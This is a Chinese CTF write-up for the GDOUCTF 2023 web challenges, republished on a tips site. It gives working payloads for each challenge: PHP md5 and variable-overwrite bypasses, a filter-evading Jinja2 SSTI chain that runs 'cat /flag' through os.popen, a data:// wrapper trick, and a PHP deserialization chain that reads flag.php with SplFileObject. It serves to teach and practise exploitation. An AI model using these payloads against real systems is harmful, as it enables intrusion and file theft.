位置: IT常识 - 正文

GDOUCTF web部分题解 2023(ctf web题型)

编辑:rootadmin
GDOUCTF web部分题解 2023 hate eat snake

推荐整理分享GDOUCTF web部分题解 2023(ctf web题型),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:ctf web题型,ctf web题型,ctf web题目入门,ctf web题目 网页,ctf web题目入门,ctf web题目入门,ctf web题目,ctf web题目,内容如对您有帮助,希望把文章链接给更多的朋友!

前端小游戏,初始页面不能F12和Ctrl+R。可以右键,但是源码界面(右键后)可以F12控制台。

先玩死自己

然后在源码界面输入这个derectkey = 40,这样之后等一会,应该是一分钟。

然后回到主页面,点击空格。

受不了一点

源码:

<?phperror_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset($_POST['gdou'])&&isset($_POST['ctf'])){ $b=$_POST['ctf']; $a=$_POST['gdou']; if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ if(isset($_COOKIE['cookie'])){ if ($_COOKIE['cookie']=='j0k3r'){ if(isset($_GET['aaa']) && isset($_GET['bbb'])){ $aaa=$_GET['aaa']; $bbb=$_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag'; $get ='hacker!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ die($give); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo $f1ag; }else{ echo "洗洗睡吧"; } }else{ echo "行不行啊细狗"; } }}else { echo '菜菜';}}else{ echo "就这?";}}else{ echo "别来沾边";}?>

简单变量覆盖

payload:

?aaa=114514a&bbb=114514b&flag=a&a=flag //GET?aaa=114514a&bbb=114514b&flag=1 //或者?aaa=114514a&bbb=114514b&flag=1&1=2&2=flag //或者gdou[]=1&ctf[]=2 //POSTcookie=j0k3r //COOKIEEZ WEB

源码有提示。

访问/src

PUT方法在==/super-secret-route-nobody-will-guess==目录下随便传参得到flag。

<ez_ze>GDOUCTF web部分题解 2023(ctf web题型)

输入{%%},一顿错误操作发现是SSTI,jinja2.

{%print(7*7)%}

过滤了:._[]"\{{

https://www.yuque.com/zouyii/xwt9cw/gh2awwnmsomiu0p7

{%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cflg%0c=%0cdict(fl=aa,ag=dd)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{%print(b(pld))%}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}注意:{%print(%0cb(pld)%0c)%}把{{b(pld)}}换掉了# 首先构造出所需的数字:{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字{% set one = (zero**zero)|int %} # 1{% set two = (zero-one-one)|abs %} # 2{% set four = (two*two)|int %} # 4{% set five = (two*two*two)-one-one-one %} # 5{% set three = five-one-one %} # 3{% set nine = (two*two*two*two-five-one-one) %} # 9{% set seven = (zero-one-one-five)|abs %} # 7# 构造出所需的各种字符与字符串: {% set space = self|string|min %} # 空格{% set point = self|float|string|min %} # .{% set c = dict(c=aa)|reverse|first %} # 字符 c{% set bfh = self|string|urlencode|first %} # 百分号 %{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 ){% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 ({% set but = dict(buil=aa,tins=dd)|join %} # builtins{% set imp = dict(imp=aa,ort=dd)|join %} # import{% set pon = dict(po=aa,pen=dd)|join %} # popen{% set so = dict(o=aa,s=dd)|join %} # os{% set ca = dict(ca=aa,t=dd)|join %} # cat{% set l = dict(l=aa,s=dd)|join %} #ls //{%%0cset%0cls%0c=%0cdict(l=aa,s=dd)|join%0c%}{% set flg = dict(fl=aa,ag=dd)|join %} # flag{% set ev = dict(ev=aa,al=dd)|join %} # eval{% set red = dict(re=aa,ad=dd)|join %} # read{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__{% set ini = dict(ini=aa,t=bb)|join %} # init{% set glo = dict(glo=aa,bals=bb)|join %} # globals{% set itm = dict(ite=aa,ms=bb)|join %} # items# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): {% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: {% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals {% if f == bul %} {% for a,b in (v|attr(itm))() %} # builtins {% if a == ev %} # eval {{b(pld)}} # eval("__import__('os').popen('cat /flag').read()") {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}

只能hackerbar发包,name=payload。 //POST

补一下题

泄露的伪装

先拿dirsearch扫一下。

test.txt

<?phperror_reporting(0);if(isset($_GET['cxk'])){ $cxk=$_GET['cxk']; if(file_get_contents($cxk)=="ctrl"){ echo $flag; }else{ echo "娲楁礂鐫″惂"; }}else{ echo "nononoononoonono";}?>

www.rar。6,玩这么花[goutou]。

<?phperror_reporting(0);if(isset($_GET['cxk'])){ $cxk=$_GET['cxk']; if(file_get_contents($cxk)=="ctrl"){ echo $flag; }else{ echo "洗洗睡吧"; }}else{ echo "nononoononoonono";}?>payload:?cxk=data://text/plain,ctrl反方向的钟

源码

<?phperror_reporting(0);highlight_file(__FILE__);// flag.phpclass teacher{ public $name; public $rank; private $salary; public function __construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; }}class classroom{ public $name; public $leader; public function __construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } }}class school{ public $department; public $headmaster; public function __construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $_POST['a']($_POST['b']); } } public function __wakeup(){ if($this->department->hahaha()) { $this->IPO(); } }}if(isset($_GET['d'])){ unserialize(base64_decode($_GET['d']));}?>

链子:

school::__wakeup()–>classroom::hahaha()–>school::IPO()

//poc<?php源码,不动$j17 = new school(new classroom('one class',new teacher('ing','department')),'ong');#echo serialize($j17);#echo urlencode(serialize($j17));echo urlencode(base64_encode(serialize($j17)));?>

payload:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php //POST,直接用php的内置类SplFileObject来读取文件内容

本文链接地址:https://www.jiuchutong.com/zhishi/295248.html 转载请保留说明!

上一篇:人工智能的几个研究方向(人工智能的几个发展阶段)

下一篇:H5基本开发1——(H5简单概述)(h5的开发)

  • 微博营销推广取得成功的关键(微博营销推广技巧有哪些)

    微博营销推广取得成功的关键(微博营销推广技巧有哪些)

  • iqooz5有红外吗(iqooz1有红外吗)

    iqooz5有红外吗(iqooz1有红外吗)

  • 联想无线鼠标怎么连接电脑连接(联想无线鼠标怎么用)

    联想无线鼠标怎么连接电脑连接(联想无线鼠标怎么用)

  • 华为nova3机身尺寸(华为nova3机身厚度)

    华为nova3机身尺寸(华为nova3机身厚度)

  • 开机之后黑屏(电脑开机之后黑屏)

    开机之后黑屏(电脑开机之后黑屏)

  • 怎样解封拼多多黑户(怎样解封拼多多上的银行卡)

    怎样解封拼多多黑户(怎样解封拼多多上的银行卡)

  • 如何让一个微信好友看你的朋友圈(如何让一个微信群秒封)

    如何让一个微信好友看你的朋友圈(如何让一个微信群秒封)

  • 苹果手机隔空传送不了怎么回事(苹果手机隔空传送一直都在等待中)

    苹果手机隔空传送不了怎么回事(苹果手机隔空传送一直都在等待中)

  • 模式对话框和非模式对话框的区别(模式对话框和非模式对话框长什么样)

    模式对话框和非模式对话框的区别(模式对话框和非模式对话框长什么样)

  • 运动手环可以离开手机单独使用吗(运动手环可以离开手机听歌吗)

    运动手环可以离开手机单独使用吗(运动手环可以离开手机听歌吗)

  • word文档里怎么删除空白页(word文档里怎么添加方框)

    word文档里怎么删除空白页(word文档里怎么添加方框)

  • 什么是图标(什么是图标?)

    什么是图标(什么是图标?)

  • 微信运动刷新时间(微信运动刷新频率)

    微信运动刷新时间(微信运动刷新频率)

  • 为什么电脑显示屏黑了但是电脑正常(为什么电脑显示微信已登录)

    为什么电脑显示屏黑了但是电脑正常(为什么电脑显示微信已登录)

  • word斜杠怎么打(word斜杠怎么打拆分单元格)

    word斜杠怎么打(word斜杠怎么打拆分单元格)

  • 更新apple id设置是什么意思(更新apple id设置不管它可以吗)

    更新apple id设置是什么意思(更新apple id设置不管它可以吗)

  • 计算机采用的主机电子器件的发展顺序(计算机采用的主机)

    计算机采用的主机电子器件的发展顺序(计算机采用的主机)

  • 淘宝退款关闭是什么意思(淘宝退款关闭是什么意思怎么申请)

    淘宝退款关闭是什么意思(淘宝退款关闭是什么意思怎么申请)

  • 苹果8plus多少寸(苹果8plus多少寸在手机哪里看)

    苹果8plus多少寸(苹果8plus多少寸在手机哪里看)

  • 爱奇艺如何截屏(爱奇艺如何截屏视频片段播放)

    爱奇艺如何截屏(爱奇艺如何截屏视频片段播放)

  • 电子邮件怎么发送文件(想给教育局发电子邮件怎么发)

    电子邮件怎么发送文件(想给教育局发电子邮件怎么发)

  • 快手作品审核多久通过(快手作品审核多久能通过)

    快手作品审核多久通过(快手作品审核多久能通过)

  • 网易云怎么看注册时间(网易云怎么看注销账号的主页)

    网易云怎么看注册时间(网易云怎么看注销账号的主页)

  • iphone6已缓存视频在哪(苹果手机缓存的视频怎么看不了)

    iphone6已缓存视频在哪(苹果手机缓存的视频怎么看不了)

  • 云闪付扫一扫在哪里(云闪付扫一扫付款后钱在哪里看)

    云闪付扫一扫在哪里(云闪付扫一扫付款后钱在哪里看)

  • 文档隐藏了怎么找回来(文档隐藏了怎么恢复)

    文档隐藏了怎么找回来(文档隐藏了怎么恢复)

  • 罂粟花丛中的欧洲狍 (© Arterra Picture Library/Alamy)(罂粟的花季)

    罂粟花丛中的欧洲狍 (© Arterra Picture Library/Alamy)(罂粟的花季)

  • 以房抵债如何计算契税?
  • 什么是抄税清卡业务
  • 税务ukey如何清卡
  • 税前利润税率
  • 公司减免社保到几月份
  • 简易征收 抵扣进项
  • 补提盈余公积的分录
  • 怎么从税控系统导出明细
  • 分公司小规模
  • 滴滴的发票能不能作废
  • 上级工会返还的经费记什么收入
  • 预提佣金会计分录是什么
  • 财务费用汇兑损益是什么意思
  • 税务局返还的个税手续费税率
  • 特许权使用费如何确认收入
  • 增值税专用发票验证真伪
  • 机打发票要不要税号
  • 企业所得税多交了必须退税吗
  • 企业所得税中准予扣除的损失
  • 增值税价外费用开票内容
  • 企业涉及预计负债的主要事项包括
  • 怎么激活win10密钥
  • cpu天梯图2022最新版1240p
  • explorer.exe是啥意思
  • 公司收入没有进项税额
  • 在php中,字符串有哪些表示形式
  • 什么是所得税收入
  • 最早的拍照手机是哪一年
  • 拔罐的好处和坏处除湿
  • 给企业法人缴纳社保流程
  • 二手房房屋买卖注意哪些问题
  • 提供劳务收入如何核算
  • 在途物资运费会计科目怎么写
  • uniapp引入全局scss
  • 四川成都熊猫基地介绍
  • 事业单位长期应付款挂账处理规定
  • php db2
  • 软件企业认定好处
  • vue框架教程视频
  • vue内置指令实验总结
  • 员工福利费怎样计提
  • 其他收益最后转入哪个科目
  • 哪些情形视同从境外取得收入:
  • 应交税费未交增值税
  • 社保费用如何做账,社保费会计分录如何写
  • 挂靠的公司替我们交的税款如何记账?
  • mysql好在哪里
  • 政府补助收入的现金流属于什么
  • 会计账簿登记错误
  • 防暑降温费是不是必须发
  • 现金收货款要填什么信息
  • 金税盘税费减免分录
  • 企业坏账准备提取的方法和提取的比例由国家统一规定
  • 电信收据可以报销吗
  • 赠送的产品价格为发票金额为零怎么入库
  • 个体工商户必须建账吗
  • mysql清空数据表怎么恢复
  • mysql 通过拷贝数据文件的方式进行数据库迁移实例
  • mybatis报错invalid bound statement
  • 新疆喀什地区身份证号码开头
  • FNPLicensingService.exe是什么意思
  • mac uuid查询
  • mac safari使用技巧
  • 如何设置桌面背景颜色
  • 如何修改windows密码策略
  • linux在vim编辑器中,将光标移动
  • linux如何限制指定ip访问
  • linux文件压缩和备份实验
  • php上传文件到指定目录
  • 应用框架的设计方法
  • js正则匹配特殊符号
  • 查看流量的命令
  • 深入解析windows第7版pdf
  • javascript编程语言
  • JQuery给select添加/删除节点的实现代码
  • 江苏省无犯罪证明
  • 电子税务局错误代码
  • 做好绩效管理工作税务局
  • 国家税务局河北省税务局
  • 济南保安证查询系统
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设